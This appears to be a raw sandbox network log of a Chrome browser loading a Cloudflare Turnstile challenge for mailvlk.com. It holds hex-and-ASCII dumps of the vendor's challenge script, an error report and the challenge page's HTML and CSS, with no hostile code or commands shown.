2024-04-24 13:43:07 UTC	340	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 87968540493969e3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:07 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49751	35.190.80.1	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:07 UTC	476	OUT	POST /report/v4?s=iDUvZaCtDpJy3qF6qkuzg7zhpHmebhCTLUFDDABNeySo%2FlMYbME3a7DyNdxlydWBzoHFDmHBneIxt0DzcWkr9XChmzd%2FcJaJe%2B8kNGExQJUuG3M3vFjrwWRSJwQh3g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 381 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:07 UTC	381	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 34 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 35 30 2e 31 34 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 76 6c 6b 2e 63 6f 6d 2f 22 2c 22 75 Data Ascii: [{"age":6,"body":{"elapsed_time":944,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.50.148","status_code":403,"type":"http.error"},"type":"network-error","url":"https://mailvlk.com/","u
2024-04-24 13:43:07 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 13:43:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49752	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:07 UTC	473	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:08 UTC	708	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 13:43:08 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: qGMgOYsXrFdajYyHYvuLNw==$Cq6z3k499SpiC+KPaHIjeQ== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y8OZxSIxjWNKQwdoIo4XIS%2Fe07a7aJK0tDqCOHyOuJuuzd86WkLsI6NXgPG%2BXXUll%2FGG1xEYcrAtiy1iGTY1dL8gBl1%2FkhDb%2F9q3oBbPg%2F%2FvlaN8ZMjXNX9YeviH2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87968544b8322eba-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:08 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49753	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:08 UTC	754	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:08 UTC	1329	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-resource-policy: cross-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' document-policy: js-profiling cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cross-origin-opener-policy: same-origin referrer-policy: same-origin
2024-04-24 13:43:08 UTC	149	IN	Data Raw: 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 65 6d 62 65 64 64 65 72 2d 70 6f 6c 69 63 79 3a 20 72 65 71 75 69 72 65 2d 63 6f 72 70 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 36 38 35 34 35 39 63 36 32 36 39 65 33 2d 4c 41 53 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cross-origin-embedder-policy: require-corpvary: accept-encodingServer: cloudflareCF-RAY: 879685459c6269e3-LASalt-svc: h3=":443"; ma=86400
2024-04-24 13:43:08 UTC	1260	IN	Data Raw: 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 Data Ascii: 555<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale
2024-04-24 13:43:08 UTC	112	IN	Data Raw: 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 0d 0a Data Ascii: { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden;}body { margin: 0; backg
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 35 37 38 61 0d 0a 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 Data Ascii: 578around-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 Data Ascii: t: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 